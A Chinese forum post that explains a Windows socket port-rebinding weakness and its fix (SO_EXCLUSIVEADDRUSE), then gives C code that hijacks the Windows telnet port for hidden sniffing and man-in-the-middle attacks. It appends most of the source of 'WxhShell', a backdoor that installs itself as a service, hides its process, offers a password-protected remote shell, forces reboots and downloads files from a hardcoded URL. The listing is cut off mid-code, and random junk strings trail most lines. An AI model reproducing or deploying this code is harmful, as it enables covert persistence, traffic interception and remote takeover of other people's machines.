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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B~O<?@]d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P.^*K:5@  
=dWq B&  
  saddr.sin_family = AF_INET; Vy=+G~  
ChNT; G<6$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \,!Qo*vj  
IRv/[|"L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +*e Vi3  
<0Gk:NB,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -xyY6bxL  
ybIqn0&[  
  这意味着什么?意味着可以进行如下的攻击: iUqD>OV  
Fd%JF#Hk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rTST_$"_6  
d@Wze[M?0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) usi3z9P>n  
Tg=P*HY6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5OAb6k'  
&$~irI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^7*zi_Q  
6mxzE3?G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 - Sn]`  
UdpuQzV<4`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f]Rh<N$  
TeJ=QpGW2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j5~~%  
* COC&  
  #include scE#&OWF%  
  #include sv6m)pwh  
  #include gmiLjI  
  #include    , $cpm=1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '_91(~P  
  int main() v++&%  
  { 2frwU~y  
  WORD wVersionRequested; ,"?8  
  DWORD ret; @$~;vS  
  WSADATA wsaData; 0R-W 9qP  
  BOOL val; bq}`jP~#  
  SOCKADDR_IN saddr; owA.P-4  
  SOCKADDR_IN scaddr; q5) K  
  int err; @F|pKf:M+  
  SOCKET s; a3Xd~Qs  
  SOCKET sc; >5 2%^ ?  
  int caddsize; Fc^!="H  
  HANDLE mt; A^\g]rmK  
  DWORD tid;   !R[~Z7b6  
  wVersionRequested = MAKEWORD( 2, 2 ); ~bw=;xF{3  
  err = WSAStartup( wVersionRequested, &wsaData ); yQN^F+.  
  if ( err != 0 ) { =8Z-ORW51  
  printf("error!WSAStartup failed!\n"); {_Fh3gjb/  
  return -1; X7*fmD=Uy  
  } xi)$t#K"  
  saddr.sin_family = AF_INET; 7gRR/&ZK  
   @E"lN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (7"CYAe:;  
59X XmVg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vm =d?*cR  
  saddr.sin_port = htons(23); \9R=fA18  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MG^YT%f  
  { FA%V>&;`  
  printf("error!socket failed!\n"); UC.kI&A  
  return -1; E<@N4%K_Q  
  } -'^:+FU  
  val = TRUE; KppYe9?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *rYPjk6g[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /^WOrMR  
  { `yC[Fn"E^  
  printf("error!setsockopt failed!\n"); HNLr} Yj  
  return -1; ~1nKL0C6u  
  } FyNm1QNy^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D&OskM60  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ({cWb:+r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D"IxQ2}k  
m\MI 6/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3XDuo|(  
  { 1aPFpo!  
  ret=GetLastError(); '#jZ`  
  printf("error!bind failed!\n"); !Yz CK*av1  
  return -1; Rt@O@oDI  
  } ` ^;J<l  
  listen(s,2); I]WvcDJ}C  
  while(1) 27}0  
  { XI,=W  
  caddsize = sizeof(scaddr); vTC{  
  //接受连接请求 4,BJK`{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `r0lu_.$]4  
  if(sc!=INVALID_SOCKET) t~":'le`zr  
  { 8= g~+<A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p ^9o*k`u  
  if(mt==NULL) Z tc\4  
  { Ydyz-  
  printf("Thread Creat Failed!\n"); 7vc4 JO]  
  break; ~JP3C5q  
  } *] !r T&E  
  } .fS{j$  
  CloseHandle(mt); 9ZuKED  
  } R^"mGe\LL  
  closesocket(s); $Z8riVJ7j-  
  WSACleanup(); u~~ ~@p  
  return 0; Emw]`  
  }   d<w]>T5VW  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^ ~dC&!D  
  { 3Z7gPU!H=  
  SOCKET ss = (SOCKET)lpParam; d ]jF0Wx*  
  SOCKET sc; ,V{Bpr  
  unsigned char buf[4096]; '-3K`[  
  SOCKADDR_IN saddr; uavyms^  
  long num; {`(MK6D8 c  
  DWORD val; s|X_:3\x  
  DWORD ret; ant2];0p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t$?#@8Yk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R 83PHM  
  saddr.sin_family = AF_INET; 'lOQb)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K>n@8<7  
  saddr.sin_port = htons(23); &kT!GU^n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f+\UVq?  
  {  ^mN`!+  
  printf("error!socket failed!\n"); +Eel|)Z*Q  
  return -1; G2b"R{i/,  
  }  i(V  
  val = 100; !/X>k{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &-m}w:j=  
  { at1 oxmy  
  ret = GetLastError(); hf;S#.k  
  return -1; +RnWeBXAT  
  } ?8;WP&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <;cch6Z  
  { ,$RXN8x1  
  ret = GetLastError(); ~yA^6[a=  
  return -1; {aUv>T"c  
  } O9N+<sU=X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C 'S_M@I=  
  { AoK;6je`K^  
  printf("error!socket connect failed!\n"); P ,rLyx   
  closesocket(sc); XEN-V-Z%*  
  closesocket(ss); y. (m#&T  
  return -1; [w)KNl  
  } O3pd5&^g  
  while(1) YdUcO.V  
  { Mky^X,r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5'%O]~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J/PK #<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  '{cFr  
  num = recv(ss,buf,4096,0); HrT@Df  
  if(num>0) u`Kc\B Sn  
  send(sc,buf,num,0); 9E|QPT  
  else if(num==0) :^FH.6}x  
  break; 3} C-Hg+gt  
  num = recv(sc,buf,4096,0); bL{D*\HF  
  if(num>0) %Z8pPH~T  
  send(ss,buf,num,0); a)7&2J  
  else if(num==0) T7l,}G  
  break; p4kK" \ln  
  } IoV"t,  
  closesocket(ss); zvfdfQ-i  
  closesocket(sc); E,ooD3$h  
  return 0 ; i+lq:St  
  } ;ZkY[5  
[jEA|rd~}  
%=V" }P[  
========================================================== &3)6WD?:U  
k?/!`   
下边附上一个代码,,WXhSHELL dKL9}:oUa  
z80*Ylx  
========================================================== eKU4"XTk  
Oi{J} 2U  
#include "stdafx.h" uzLm TmM+  
`m$,8f%j6_  
#include <stdio.h> $U(D*0+o/  
#include <string.h> -O?A"  
#include <windows.h> <TS ps!(#  
#include <winsock2.h> A5[kYD,_  
#include <winsvc.h> lLK||2d  
#include <urlmon.h> G=C2l# Ae!  
u;b6uE  
#pragma comment (lib, "Ws2_32.lib") B%o%%A8*g  
#pragma comment (lib, "urlmon.lib") =PnNett}a  
!~ j9Oc^  
#define MAX_USER   100 // 最大客户端连接数 )]Sf|@K]  
#define BUF_SOCK   200 // sock buffer PTTUI  
#define KEY_BUFF   255 // 输入 buffer 9<"F3F0|  
Urksj:N  
#define REBOOT     0   // 重启 nFro#qx  
#define SHUTDOWN   1   // 关机 ?q0a^c?A^  
uwt29  
#define DEF_PORT   5000 // 监听端口 M3dUGM  
ZvK3Su)f1  
#define REG_LEN     16   // 注册表键长度 E;"VI2F  
#define SVC_LEN     80   // NT服务名长度 -W: @3\{  
6vzvH  
// 从dll定义API  U8% IpI;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mXsSOAD<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5bol)Z9BO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YeB C6`7y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {yi!vw  
`];ne]xM  
// wxhshell配置信息 Ad -_=a%  
struct WSCFG { !L_xcov!Y  
  int ws_port;         // 监听端口 s"8z q ;)  
  char ws_passstr[REG_LEN]; // 口令 TaKCN   
  int ws_autoins;       // 安装标记, 1=yes 0=no b'xBPTN  
  char ws_regname[REG_LEN]; // 注册表键名 .R S  
  char ws_svcname[REG_LEN]; // 服务名 2Ns<lh   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $0]5b{i]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9N|JI3*41  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Eh"Y<]$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?pA_/wwp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e`5:46k|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =Hj3o_g-  
AAF;M}le,  
}; /N@NT/.M<  
mmMiA@0  
// default Wxhshell configuration =s S=  
struct WSCFG wscfg={DEF_PORT, MJK PpQ(,  
    "xuhuanlingzhe", .&K?@T4l  
    1, [yRqSB  
    "Wxhshell", 37V$Qb_  
    "Wxhshell", <FN +  
            "WxhShell Service", ](IOn:MuDE  
    "Wrsky Windows CmdShell Service", h^J :k  
    "Please Input Your Password: ", Exat_ L'?  
  1, 4dh> B>Q  
  "http://www.wrsky.com/wxhshell.exe", b}N \h<\G  
  "Wxhshell.exe" $=C ` V  
    }; gUp9yV  
Af^9WJ  
// 消息定义模块 l8lJ &  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h@s i)5"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J,=^'K(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +ERuZc$3,  
char *msg_ws_ext="\n\rExit."; ux[13]yY  
char *msg_ws_end="\n\rQuit."; 'qeUI}[  
char *msg_ws_boot="\n\rReboot..."; BpF}H^V-  
char *msg_ws_poff="\n\rShutdown..."; Y2+YmP*z`  
char *msg_ws_down="\n\rSave to "; va.Ve# N  
-3XnUGK  
char *msg_ws_err="\n\rErr!"; ~Oi.bP<,  
char *msg_ws_ok="\n\rOK!"; e JEcLK3u  
(c[DQSj  
char ExeFile[MAX_PATH]; <F| S<\Y.  
int nUser = 0; / ]nrxT  
HANDLE handles[MAX_USER]; ?X7nM)  
int OsIsNt; #;"lBqxY`  
zEeix,IU  
SERVICE_STATUS       serviceStatus; (k%r_O6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zK*i:(>B  
D P:}<  
// 函数声明 %\%&1  
int Install(void); 4&~*;an7  
int Uninstall(void); I*(7(>zgyv  
int DownloadFile(char *sURL, SOCKET wsh); gER(&L4[  
int Boot(int flag); W7IAW7w8U  
void HideProc(void); rE\&FVx  
int GetOsVer(void); *`tQX$F  
int Wxhshell(SOCKET wsl); F<,"{L  
void TalkWithClient(void *cs); t 9_&n.z  
int CmdShell(SOCKET sock); `oE.$~'  
int StartFromService(void); fl*49-d  
int StartWxhshell(LPSTR lpCmdLine); Ba n^wX  
N/E=-&E8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]oC7{OoX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "(:8 $Fb  
wee5Nirw6  
// 数据结构和表定义 /NVyzM51V  
SERVICE_TABLE_ENTRY DispatchTable[] = 57$/Dn  
{ ;ZZmX]kz,M  
{wscfg.ws_svcname, NTServiceMain},  <XnxAA  
{NULL, NULL} 1w>G8  
}; o6r ^  
jgw+c3^R_  
// 自我安装 k6_OP]  
int Install(void) QO|jdlg  
{ ^ =H 10A  
  char svExeFile[MAX_PATH]; a#3,qp!  
  HKEY key; "l6Ob  
  strcpy(svExeFile,ExeFile); CO SQ  
yGb^kR}d  
// 如果是win9x系统,修改注册表设为自启动 "K*^%{  
if(!OsIsNt) { 6x8lnXtA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qp]s VY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4WQ 96|F  
  RegCloseKey(key); Uz7V2r%]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #YLI"/Kn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x}N1Wl=8g  
  RegCloseKey(key); & )EL%o5  
  return 0; S,C/l1s  
    } OEHw%  
  } V}4u1oG  
} cHwN=mg]S  
else { vu/P"?F  
LeMo")dk\  
// 如果是NT以上系统,安装为系统服务 jL~. =QD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8;Df/ %  
if (schSCManager!=0) hx@E,  
{ W-vEh  
  SC_HANDLE schService = CreateService X""}]@B9z  
  ( 6^nxw>-   
  schSCManager, 4n.EA,:g:(  
  wscfg.ws_svcname, Qexv_:C  
  wscfg.ws_svcdisp, cA+O]",}  
  SERVICE_ALL_ACCESS, }4xz,oN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }h\]0'S~J~  
  SERVICE_AUTO_START, 4&E &{<;  
  SERVICE_ERROR_NORMAL, p,#**g:  
  svExeFile, e&=T`  
  NULL, 5U/C 0{6  
  NULL, p%CcD]o  
  NULL, y~+U(-&.  
  NULL, =]sM,E,n  
  NULL 4)d#dy::\  
  ); .A <n2-  
  if (schService!=0) ':T6m=yv  
  { TfFH!1^+  
  CloseServiceHandle(schService); %>:d5"&Lbs  
  CloseServiceHandle(schSCManager); 9 N@N U:M+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k #/%#rQM  
  strcat(svExeFile,wscfg.ws_svcname); s|C4Jy_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EA!I& mBq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \H.1I=<  
  RegCloseKey(key); c(!{_+q"  
  return 0; <(2,@_~@r  
    } 'FGf#l<  
  } 8x<; AL|`  
  CloseServiceHandle(schSCManager); |'12Kv]#Xa  
} +?bOGUik  
} VXu1Y xY  
=tfS@o/n  
return 1; `T$CUlt6  
} 4031~A8  
3 e<sNU?  
// 自我卸载 Vu1X@@z  
int Uninstall(void) wqf^n-Ze  
{ sVT\e*4m}  
  HKEY key; Kj*:G!r0.:  
%%k`+nK~  
if(!OsIsNt) { o2NU~Ub  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E3o J;E  
  RegDeleteValue(key,wscfg.ws_regname); /'>#1J|TlK  
  RegCloseKey(key); rfc;   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KN zm)O  
  RegDeleteValue(key,wscfg.ws_regname); \Y}nehxG@  
  RegCloseKey(key); /g]m,Y{OI  
  return 0; o_ SR  
  } npdpKd+*K"  
} {!7 ^ w  
} +"2IQme5  
else { a$'= a09  
Q:!.YSB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -OV!56&  
if (schSCManager!=0) CZ_ (IT7  
{ O[#pB. 4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MzO4Yv"A  
  if (schService!=0) Fm{`?!  
  { N6_<[`  
  if(DeleteService(schService)!=0) { <eG8xC  
  CloseServiceHandle(schService); *%xmCP J  
  CloseServiceHandle(schSCManager); X3;|h93.a  
  return 0; or1D 6 *'  
  } &B5@\Hd;  
  CloseServiceHandle(schService); }[*BC5{>  
  } o  w<.Dh  
  CloseServiceHandle(schSCManager); ] 6rr;S  
} y9L:2f\  
} Wo+'j $k  
5//.q;z  
return 1; 2Aq%;=+*  
} X"qC&oZmf  
:TzHI    
// 从指定url下载文件 d*xKq"+ &E  
int DownloadFile(char *sURL, SOCKET wsh) 6P KH%  
{ i@}/KT  
  HRESULT hr; U[UjL)U  
char seps[]= "/"; !mLY W  
char *token; 5>'1[e45  
char *file; I`e |[k2  
char myURL[MAX_PATH]; J 4EG  
char myFILE[MAX_PATH]; +iYy^oXxw  
%}asw/WiUa  
strcpy(myURL,sURL); {qHf%y&[  
  token=strtok(myURL,seps); &jHnM^nQ  
  while(token!=NULL) F&om^G'U  
  { Jr4^@]78o<  
    file=token; p%v+\T2r  
  token=strtok(NULL,seps); Rv T>{G~  
  } sOBy)vq?\  
(PmaVwF  
GetCurrentDirectory(MAX_PATH,myFILE); "e\:Cq>\  
strcat(myFILE, "\\"); ,#P eK(  
strcat(myFILE, file); f._FwD  
  send(wsh,myFILE,strlen(myFILE),0); Z ^tF  
send(wsh,"...",3,0); } 1 >i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YI*Av+Z)  
  if(hr==S_OK) h)qapC5z,  
return 0; sKT GZA  
else g&30@D"  
return 1; mw1|>*X&R  
kU5chltGF  
} <ZV !fn  
:3# t;  
// 系统电源模块 \)pT+QxZ  
int Boot(int flag) ,nELWzz%{  
{ v<z%\`y  
  HANDLE hToken; A9[ELD>p  
  TOKEN_PRIVILEGES tkp; x;cjl6Acm  
x\m !3  
  if(OsIsNt) { M#Vl{ b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9_mys}+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "=uphBZog  
    tkp.PrivilegeCount = 1; eh-/,vmRa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HV ^*_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +8 avA:o  
if(flag==REBOOT) { $DOBC@xxzT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [C]u!\(IF  
  return 0; =*aun&  
} H"H&uA9"  
else { 6jiz$x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jMvWS71  
  return 0; 'W/E*O6BY  
} h<50jnH!  
  } A7!=`yA$  
  else { }l/ !thzC  
if(flag==REBOOT) { h4 s!VK1X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R&BbXSIDX  
  return 0; vt" 7[!O  
} h9,ui^#d$  
else { {%K(O$H#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {[ j+ y  
  return 0; AK/_^?zAs  
} xA-O?s"CY  
} RSLMO8  
i6p0(OS&D  
return 1; -o\r]24  
}  2L~[dn.s  
VemgG)\  
// win9x进程隐藏模块 fT-yY`  
void HideProc(void) e5_:15%R\  
{ G9.+N~GZ.  
D_%y&p?<Ls  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M4rOnIJ  
  if ( hKernel != NULL ) k{3:$, b  
  { QQ4  &,d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]e?cKC\"e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y!C=0&p  
    FreeLibrary(hKernel); 2G'Au}q0n  
  } o:<g Jzg  
@3/.W+  
return; H1H+TTZr  
} *%^Vq  
D=U"L-rRs  
// 获取操作系统版本 FTx&] QN?  
int GetOsVer(void) ]g jhrD   
{ )E<<  
  OSVERSIONINFO winfo; @<5?q: 9.8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ho#]i$b}f2  
  GetVersionEx(&winfo); >z*2Og#1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V&x6ru#  
  return 1; ?d)I!x,;;  
  else ~ l~ai>/  
  return 0; Z[Gs/D  
} t =ErJ  
s7?Q[vN  
// 客户端句柄模块 k\UDZ)TQV  
int Wxhshell(SOCKET wsl) U$j*{`$4  
{ H@$\SUc{  
  SOCKET wsh; ?:(BkY,K5  
  struct sockaddr_in client; ^zPa^lo-  
  DWORD myID; d Ybb>rlu  
F.)b`:g  
  while(nUser<MAX_USER) #!d@;= [\  
{ &u-H/C U%  
  int nSize=sizeof(client); -,NiSh}A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1s4+a^ &  
  if(wsh==INVALID_SOCKET) return 1; ">QNiR!  
yDBS : \  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #<20vdc  
if(handles[nUser]==0) yk1syN_  
  closesocket(wsh); IKhpe5}  
else K4]c   
  nUser++; 9/[3xhB4  
  } qk pnXQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tgn_\-+  
@#q>(Ox%  
  return 0; |A".Mo_5  
} .l$'%AG:~  
dALJlRo"  
// 关闭 socket $gm`}3C<  
void CloseIt(SOCKET wsh) %zx=rn(K  
{ &?\ h[3  
closesocket(wsh); LJK<Xen  
nUser--; ngM>Tzirt  
ExitThread(0); (P {o9  
} V QE *B  
4R5+"h:  
// 客户端请求句柄 V:*QK,  
void TalkWithClient(void *cs) M#II,z>q  
{ 9V*h:[6a(  
ZSj^\JU  
  SOCKET wsh=(SOCKET)cs; @N?A 0S/  
  char pwd[SVC_LEN]; "71@WLlN  
  char cmd[KEY_BUFF]; ,6Ulj+l  
char chr[1]; A+d&aE }3V  
int i,j; _ F&BSu  
f6x}M9xS%  
  while (nUser < MAX_USER) { ]J\tosTi  
(Hqy^EOZ  
if(wscfg.ws_passstr) { V3&_ST  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _idTsd:\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O-r,&W  
  //ZeroMemory(pwd,KEY_BUFF); j_ dCy  
      i=0; HE0UcP1U  
  while(i<SVC_LEN) { 6]#pPk8[Z  
w8M,35b  
  // 设置超时 F;l*@y Tq  
  fd_set FdRead; n!5 :I#B  
  struct timeval TimeOut; ]t-_.E )F  
  FD_ZERO(&FdRead); {] 1+01vI-  
  FD_SET(wsh,&FdRead); |IL..C  
  TimeOut.tv_sec=8; Y>*{(QD  
  TimeOut.tv_usec=0; (rV#EA+6[`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aW-'Jg=@H^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bi?+e~R  
Id3i qAL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CO!K[ q#  
  pwd=chr[0]; k^-HY[Q9  
  if(chr[0]==0xd || chr[0]==0xa) { jRP.Je@t  
  pwd=0; ;`IZ&m$  
  break; c` ^I% i  
  } J{"<Hgb  
  i++; YK Nz[x$|  
    } Jwzkd"D  
~3bn?'`  
  // 如果是非法用户,关闭 socket Jsf -t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :e1BQj`R  
} $CXKeWS=Q.  
uY+N163i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NMYkEz(&R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N0EJHS,>e  
C.M]~"e  
while(1) { Y <;A989D  
8w &A89  
  ZeroMemory(cmd,KEY_BUFF); ).HYW _Yih  
J0@ ^h  
      // 自动支持客户端 telnet标准   yZJR7+  
  j=0; wmh[yYWc  
  while(j<KEY_BUFF) { :|i jCg+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ s< p5V  
  cmd[j]=chr[0]; ,gHgb  
  if(chr[0]==0xa || chr[0]==0xd) { Tdvw7I-q  
  cmd[j]=0; `[vm{+i  
  break;  w.kb/  
  } Y Gb&mD  
  j++; H2oAek(  
    } |pB[g> ~V  
)r _zM~jI  
  // 下载文件 p:]kH  
  if(strstr(cmd,"http://")) { "]|I;I"b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6X{RcX]/  
  if(DownloadFile(cmd,wsh)) .s7Cr0^k,|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sG{hUsPa  
  else s UX%{|T_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pq0F!XmU  
  } *gHGi(U(U  
  else { =sVB.P  
F6 ?4E"d  
    switch(cmd[0]) { ,#Y>nP0  
  595P04  
  // 帮助 J6}J/  
  case '?': { 'Dl31w%:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bbevy!m  
    break; {1 fva^O  
  } qH(3Z^#.|  
  // 安装 871taL=  
  case 'i': { J{Fu8  
    if(Install()) r|[uR$|Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (xnXM}M&2Y  
    else e-vwve  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tjw4.L<r  
    break; 9L+dN%C  
    } z& !n'N<C  
  // 卸载 6{/HNEI*1  
  case 'r': { D,Ft*(|T  
    if(Uninstall()) -A}U^-'a}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5AV5`<r.  
    else >q{E9.~b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AN ;SRl  
    break; .H,v7L,~88  
    } uzA"+cV5  
  // 显示 wxhshell 所在路径 bnS"@^M  
  case 'p': { e)I-|Q4^%  
    char svExeFile[MAX_PATH]; $J8?!Xg  
    strcpy(svExeFile,"\n\r"); fz H$`X'M  
      strcat(svExeFile,ExeFile); S+LE ASOr  
        send(wsh,svExeFile,strlen(svExeFile),0); XI#1)  
    break; =m{]Xep  
    } P9j[ NEV  
  // 重启 8. 9TWsZ  
  case 'b': { A1`y_ Aj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =<nx [J  
    if(Boot(REBOOT)) uZ}=x3B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 \*!]5i  
    else { Kts#e:k@  
    closesocket(wsh); |7G +O+j  
    ExitThread(0); CT1)tRN  
    } fhCMbq4T  
    break; a`XXz  
    } 8 /3`rEW  
  // 关机 58FjzW  
  case 'd': { pJ*x[y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }[a  
    if(Boot(SHUTDOWN))  c=? =u  
